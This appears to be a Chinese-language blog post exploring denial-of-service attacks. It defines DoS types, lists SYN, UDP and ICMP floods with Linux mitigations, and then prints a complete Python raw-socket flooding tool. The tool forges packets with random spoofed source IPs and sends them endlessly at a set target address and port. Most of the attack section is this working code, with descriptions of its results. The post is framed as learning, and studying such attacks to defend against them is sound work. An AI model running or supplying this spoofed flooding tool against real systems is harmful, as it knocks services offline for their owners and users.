一、說明
我一直不明白為什么拒絕服務,初學着喜歡拿來裝逼、媒體喜歡吹得神乎其神、公司招聘也喜歡拿來做標准,因為我覺得拒絕服務和社會工程學就是最名不副實的兩樣東西。當然由於自己不明確拒絕服務在代碼上是怎么個實現過程,所以雖然如此認為但不免底氣不足。趁着有時間來考究一番。
二、拒絕服務定義
Denial of Service,簡寫DoS,拒絕服務是英文名直接翻譯,指的是正常用戶無法得到服務的現像。廣義上包括通過緩沖區溢出等漏洞進行攻擊使服務掛掉、發送大量數據包占用完系統分配給服務的資源、發送大量數據包占用完所有系統資源三種情況。一般的拒絕服務指后兩種,最經典的拒絕服務指最后一種。
由於后兩種手段都是發送大量數據包結果都是拒絕服務所以大概很多人都視為一類,但追究而言其結果還是有很大差別的。
如果系統對服務可用的資源進行了限制,比如最多3000個連接(假設此時cpu百分之五十),攻擊時3000個連接用完新連接不能建立,但是此時cpu不會達到百分之百,如果是長連接那么已連接上來的用戶仍可享受服務。
如果系統沒有對服務可用的資源進行限制,那么通過dos就可以不斷發起連接,直至目標主機cpu達到百分之百,輕則系統自動重啟重則導致發熱嚴重引起短路。
三、拒絕服務的分類
3.1 dos基本類型
攻擊方法 | 攻擊原理 | 目標 | 是否需要真實源IP | DoS攻擊效果 | 防范方法 |
icmp flood | 通過發送icmp數據包讓主機回應以占用資源 | 主機 | 否。但是只能防封ip不能增加服務端資源消耗 | 一般。攻擊機與目標機耗同樣的資源 | 禁ping(net.ipv4.icmp_echo_ignore_all=1) |
udp flood | 向端口發送大量udp數據包判斷是否監聽和回應都耗資源 | udp端口 | 否。但是只能防封ip不能增加服務端資源消耗 | 一般。攻擊機與目標機耗同樣的資源 | 禁返回端口不可達(type3/code3,iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP) |
syn flood | 只發送syn不發送ack使目標機處於等待ack的資源占用方式 | tcp端口 | 否。 | 優。由於目標機要等待所以目標機會耗更多資源 | 縮短syn timeout(net.ipv4.tcp_synack_retries = 5)、使用syn cookie(net.ipv4.tcp_syncookies = 1) |
tcp flood | 攻擊攻與目標擊完成三次握手並保持連接以此占用資源 | tcp端口 | 是。 | 一般。攻擊機與目標機耗同樣的資源 | 限制單個ip連接數(iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 20 -j DROP) |
CC | 對某個頁面發送大量請求直致其無法正常顯示 | http端口 | 是。 | 良。由於目標機要生成頁面會耗更多資源 | 限制單個ip連接數(iptables -I INPUT -p tcp –dport 80 -m connlimit –connlimit-above 20 -j DROP) |
3.2 dos增強方法
在上面中我們看到即便是效果最好的syn flood也只能讓攻擊機比目標機消耗一些資源,單純地直接DoS頂多也只是殺敵一千自損八百,而且往往服務器性能要比攻擊機強直接DoS效果是不會很好的。
攻擊方式 | 全稱 | 攻擊機 | 可用於的攻擊方法 | 可勝任攻擊目標 |
DoS | Denial-of-Service | 單台攻擊機直接DoS | icmp/udp/syn/tcp/cc | IOT硬件 |
DDoS | Distributed Denial-of-Service | 多台受控機一同進行DoS | icmp/udp/syn/tcp/cc | 小型網站 |
DRDoS | Distributed Reflection Denial-of-Service | 多台第三方機進行反射DoS | icmp/udp/syn/tcp | 大型網站 |
四、dos攻擊代碼(syn/udp/icmp)
程序使用Python3編寫,實現syn/udp/icmp flood(這三個需要自己設置原始套接字,tcp和cc自己像普通網絡編程寫一下即可),運行時自己修改目標ip和端口和dos類型;由於構造原始數據包所以要使用管理員權限運行。
windows上運行有問題,syn運行報“OSError: [WinError 10022] 提供了一個無效的參數”,udp和icmp沒攔截到數據包;但在在kali上運行都是沒問題的。
另外,如果對此程序進行以下三項改造:去掉不斷發送數據包的while、將源ip固定為本機ip並使用recvfrom函數接收返回數據包、對recvfrom到的數據包進行分析,那就成了一個類似nmap的系統掃描器。
4.1 代碼

import binascii import random import socket import struct class DosTool: # 此函數用於計算校驗和函數,tcp/udp/icmp都使用此函數計算 def calc_checksum(self, header): # 校驗和,初始置0 checksum = 0 # 遍歷頭部,步長為2 for i in range(0, len(header), 2): # 獲取第一個字節值 tmp = header[i] # 第一字節左移8位,騰出低8位給第二個字節,兩者相加,就相當於取了一個word tmp = (tmp << 8) + header[i + 1] # 取出的word累加 checksum += tmp # 一般都會溢出,將超過16字節的部份加到低位去 checksum = (checksum & 0xffff) + (checksum >> 16) # 有可能再次溢出,所以嘗試再次將超過16字節的部份加到低位去 # 理論上應該不會再次溢出,所以有些文章這里用while感覺不是必須的 checksum += (checksum >> 16) # 取反碼 checksum = ~checksum & 0xffff return checksum # 此函數用於生成tcp和udp的偽首部(偽首部參與校驗和計算,但icmp不需要偽首部) def gen_psd_header(self,source_addr,dest_addr,protocol,header_and_data_length): # 源ip地址,32位 psd_source_addr = socket.inet_aton(source_addr) # 目標ip地址,32位 psd_dest_addr = socket.inet_aton(dest_addr) # 填充用的,置0,8位 psd_mbz = 0 # 協議,8位 psd_ptcl = protocol # 傳輸層頭部(不包括此首部)加其上層數據的長度 psd_lenght = header_and_data_length # 生成偽首部 psd_header = struct.pack("!4s4sBBH", psd_source_addr, psd_dest_addr, psd_mbz, psd_ptcl, psd_lenght) # 返回偽首部 return psd_header # 此函數用於生成tcp頭 def gen_tcp_header(self,source_addr,dest_addr,source_port,dest_port): # tcp源端口,16位;在syn攻擊中設為隨機端口 tcp_source_port = source_port # tcp目標端口,16位;在syn攻擊中設為攻擊目標端口 tcp_dest_port = dest_port # 數據包序列號,32位;在syn攻擊中使用隨機生成 tcp_seq = random.randint(0x10000000,0xffffffff) # 要確認已收到的數據包的序列號,32位;由於是syn包,所以ack為0 tcp_ack = 0 # tcp頭部長度,4位;標准tcp頭部長度為20個字節(20/4=5) tcp_header_lenght = (5 << 4 | 0) # 本來是長度4位、保留位6位、標志位6位 # 但保留位一般不用都是0,所以這里直接將保留中的4個0分入長度中,2個0分入標志位中,保留位直接不用管 # tcp_reserved = 0 # 標志位,6位;6個標志位依次為URG/ACK/PSH/RST/SYN/FIN,所以syn對應標志位為000010,即2 tcp_flag = 2 # 窗口大小,16位;不知道對抗syn的防火牆有沒有根據這個值做策略的,比如大量窗口大小一樣的認為受到syn攻擊,大量不常窗口大小也認為受到syn tcp_win_size = 0x2000 # tcp頭部校驗和,16位;開始時我們置0,以使頭部校驗和一起計算也不影響校驗和結果 tcp_header_checksum = 0 # 這個值暫時沒懂做什么用,16位 tcp_urp = 0 # 首次組裝tcp頭部,開頭的!表示bigend模式,B/H/L分別表示將后邊對應位次的值格式化成無符號的1/2/4字節長度 tcp_header = struct.pack("!HHLLBBHHH",tcp_source_port,tcp_dest_port,tcp_seq,tcp_ack,tcp_header_lenght,tcp_flag,tcp_win_size,tcp_header_checksum,tcp_urp) # print(f"packet is {binascii.b2a_hex(tcp_header)}") # 生成偽首部 protocol = socket.IPPROTO_TCP # 注意傳給偽首部的長度是整個tcp報文(tcp頭部+數據)的長度,而不是tcp頭部的長度 # 只是由於syn數據包不帶數據所以這里才可以寫成len(tcp_header) header_and_data_length = len(tcp_header) # 偽首部 psd_header = self.gen_psd_header(source_addr,dest_addr,protocol,header_and_data_length) # 組裝成用來計算校驗和的頭部,tcp數據應該不像udp數據那樣需要參與校驗和計算但也不是十分肯定,當然syn本身是沒數據的要不要參與都沒影響 virtual_tcp_header = psd_header + tcp_header # 調用calc_checksum()計算校驗和 tcp_header_checksum = self.calc_checksum(virtual_tcp_header) # 計算得到校檢和之后,再次組裝,得到真正的tcp頭部 tcp_header = struct.pack("!HHLLBBHHH", tcp_source_port, tcp_dest_port, tcp_seq, tcp_ack, tcp_header_lenght, tcp_flag, tcp_win_size, tcp_header_checksum, tcp_urp) # print(f"tcp header is {binascii.b2a_hex(tcp_header)}") return tcp_header # 此函數用於生成udp頭 def gen_udp_header(self,source_addr,dest_addr,source_port,dest_port,udp_data): # udp源端口,16位;在dos攻擊中設為隨機端口 udp_source_port = source_port # udp目標端口,16位;在dos攻擊中設為攻擊目標端口 udp_dest_port = dest_port # udp數據包長度,包括udp頭和udp數據,16位 udp_lenght = 8 + len(udp_data) # udp頭部校驗和,16位 udp_header_checksum = 0 # 未加入校驗和的udp頭 udp_header_no_checksum = struct.pack("!HHHH", udp_source_port, udp_dest_port, udp_lenght, udp_header_checksum) # 生成偽首部 protocol = socket.IPPROTO_UDP psd_header = self.gen_psd_header(source_addr,dest_addr,protocol,udp_lenght) # 拼成虛擬頭部用以計算校驗和,udp攜帶的數據參與校驗和計算 virtual_udp_header = psd_header + udp_header_no_checksum + udp_data.encode() udp_header_checksum = self.calc_checksum(virtual_udp_header) # 生成真正的udp頭部 udp_header = struct.pack("!HHHH", udp_source_port, udp_dest_port, udp_lenght, udp_header_checksum) return udp_header # 此函數用於生成icmp頭 def gen_icmp_header(self): # icmp類型,ping固定為8,8位 icmp_type = 8 # 8位 icmp_code = 0 # icmp頭部校驗和,16位 icmp_header_checksum = 0 # icmp沒有端口,需要使用某個值擔當起端口的標識作用,以區分收到的icmp包是對哪個icmp進程的響應 # icmp識別號,16位; # 響應包中該值與請求包中一樣,linux設置為進程pid,windows不同版本操作系統設為不同固定值 # linux操作系統使用該值區分不同icmp進程 icmp_identifier = random.randint(1000,10000) # icmp請求序列號,16位 # 從0開始遞增(存疑),每發一個icmp包就加1;響應包中該值與請求包中一樣 # windows使用該值來區分不同icmp進程 icmp_seq_num = random.randint(1000,10000) # icmp攜帶數據,響應中會回顯同樣的數據 # 此數據長度正是icmp dos的關鍵,越長目標主機處理所用的資源就越多,攻擊效果就越明顯 icmp_data = "abcdefghijklmnopqrstuvwxyz" # 未加入校驗和的icmp頭 icmp_data_length = len(icmp_data) icmp_header_no_checksum = struct.pack(f"!BBHHH{icmp_data_length}s",icmp_type,icmp_code,icmp_header_checksum,icmp_identifier,icmp_seq_num,icmp_data.encode()) # 計算校驗和,icmp校驗和只需要icmp頭自己參與計算,不需要偽首部(沒有端口tcp/udp那樣的偽首部要也生成不了) icmp_header_checksum = self.calc_checksum(icmp_header_no_checksum) # 生成真正的icmp頭 icmp_header = struct.pack(f"!BBHHH{icmp_data_length}s",icmp_type,icmp_code,icmp_header_checksum,icmp_identifier,icmp_seq_num,icmp_data.encode()) return icmp_header # 此函數用於生成ip頭 def gen_ip_header(self,source_addr,dest_addr,transport_segment_size,transport_layer_protocol): # 版本號4位,長度4位,方便起見這里放一起賦值 ip_version_and_lenght = 0x45 # 服務類型,8位,置0 ip_tos = 0 # 整個ip數據包長度(ip頭長度+tcp報文長度),8位; # ip頭長度為5*4=20字節,tcp_total_size指的是整個ip報文的長度而不單指tcp頭部的長度,只是syn數據包不帶數據,所以剛好ip報文的長度等於tcp頭部的長度 ip_total_lenght = 20 + transport_segment_size # 這個值當前暫時不懂有什么作用 ip_identitication = 1 ip_flags_and_frag = 0x4000 # ttl,8位 ip_ttl = 128 # 上層協議,8位 ip_protocol = transport_layer_protocol # ip頭部校驗和,16位 ip_header_checksum = 0 # 源ip地址,32位 ip_source_addr = socket.inet_aton(source_addr) # 目標ip地址,32位 ip_dest_addr = socket.inet_aton(dest_addr) # 首次組裝ip頭部,開頭的!表示bigend模式,B/H/L分別表示將后邊對應位次的值格式化成無符號的1/2/4字節長度 ip_header = struct.pack("!BBHHHBBh4s4s", ip_version_and_lenght, ip_tos, ip_total_lenght, ip_identitication, ip_flags_and_frag, ip_ttl, ip_protocol, ip_header_checksum, ip_source_addr,ip_dest_addr) print(f"packet is {binascii.b2a_hex(ip_header)}") # 調用calc_checksum()計算ip頭部校驗和 ip_header_checksum = self.calc_checksum(ip_header) # 計算得到校檢和之后,再次組裝,得到真正的IP頭部 ip_header = struct.pack("!BBHHHBBH4s4s", ip_version_and_lenght, ip_tos, ip_total_lenght, ip_identitication, ip_flags_and_frag, ip_ttl, ip_protocol, ip_header_checksum,ip_source_addr, ip_dest_addr) print(f"ip header is {binascii.b2a_hex(ip_header)}") return ip_header # 此函數用於生成要發送的ip數據包 def gen_dos_ip_packet(self,transport_layer_protocol): # 源IP地址;syn攻擊,所以隨機生成 source_addr = f"{random.randint(0,240)}.{random.randint(0,240)}.{random.randint(0,240)}.{random.randint(0,240)}" # source_addr = "10.10.6.91" # 源端口;syn攻擊,所以隨機生成 source_port = random.randint(10000, 60000) # source_port = 12345 # 根據設定的dos類型,生成ip協議載荷 if transport_layer_protocol == socket.IPPROTO_TCP: tcp_header = self.gen_tcp_header(source_addr, dest_addr, source_port, dest_port) transport_segment = tcp_header elif transport_layer_protocol == socket.IPPROTO_UDP: # udp數據包攜帶的數據,數據越長目標主機接收數據包所用資源就越多,攻擊效果就越好 # 不過udp中這些數據都不返回而icmp中會原樣返回,所以就效果上應該是icmp攻擊比udp好一點 udp_data = "abcdefghijklmnopqrstuvwxyz" udp_header = self.gen_udp_header(source_addr,dest_addr,source_port,dest_port,udp_data) transport_segment = udp_header + udp_data.encode() elif transport_layer_protocol == socket.IPPROTO_ICMP: icmp_header = self.gen_icmp_header() transport_segment = icmp_header # 整個ip協議載荷的長度 transport_segment_size = len(transport_segment) # 調用gen_ip_header()獲取ip頭 ip_header = dos_tool_obj.gen_ip_header(source_addr, dest_addr, transport_segment_size, transport_layer_protocol) # 組合ip頭部和ip載荷,構成完整ip數據包 dos_ip_packet = ip_header + transport_segment return dos_ip_packet def exec_dos_attack(self,dest_addr,dest_port,dos_type): dos_type = dos_type.lower() if dos_type == 'syn': transport_layer_protocol = socket.IPPROTO_TCP elif dos_type == 'udp': transport_layer_protocol = socket.IPPROTO_UDP elif dos_type == 'icmp': transport_layer_protocol = socket.IPPROTO_ICMP # 構造socket dos_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, transport_layer_protocol) dos_socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 不斷生成和發送數據包 while True: ip_packet = self.gen_dos_ip_packet(transport_layer_protocol) dos_socket.sendto(ip_packet, (dest_addr, dest_port)) print(f"packet send success") # 如果不是一直發送,而是發送一個syn包后接收返回數據進行分析,那就是syn掃描 # 此時接收到的是ip層及之后各層的數據;如“450000285c3740004006bdce0a0a065b0a0a065c846c0016324322fe07ff0b165010402962080000” # return_data = dos_socket.recvfrom(1024)[0] # print(f"receive return data: {binascii.b2a_hex(return_data)}") if __name__ == "__main__": # 實例化 dos_tool_obj = DosTool() # 目標ip地址;改成自己要攻擊的ip地址 dest_addr = "10.10.6.91" # 目標端口;改成自己要攻擊的目標端口 dest_port = 21 # dos類型,可以是syn/udp/icmp dos_type = 'udp' dos_tool_obj.exec_dos_attack(dest_addr, dest_port, dos_type)
4.2 運行截圖
4.2.1 syn flood運行截圖
在下圖中可以看到,和預期一樣:
目標ip和端口收到大量來自不同源地址的syn包、目標ip主機上建立大量等待ack的連接、checksum是正確的
4.2.2 udp flood運行截圖
在下圖中可以看到,和預期一樣:
目標ip和端口收到大量來自不同源地址的udp數據包、目標端口沒有udp監聽所以返回端口不可達ICMP(type3/code3)、checksum是正確的
4.2.3 icmp flood運行截圖
在下圖中可以看到,和預期一樣:
目標ip收到大量來自不同源地址的icmp(type8/code0)數據包、目標ip返回返回響應(tpye0/code0)、checksum是正確的
參考:
http://www.faqs.org/rfcs/rfc793.html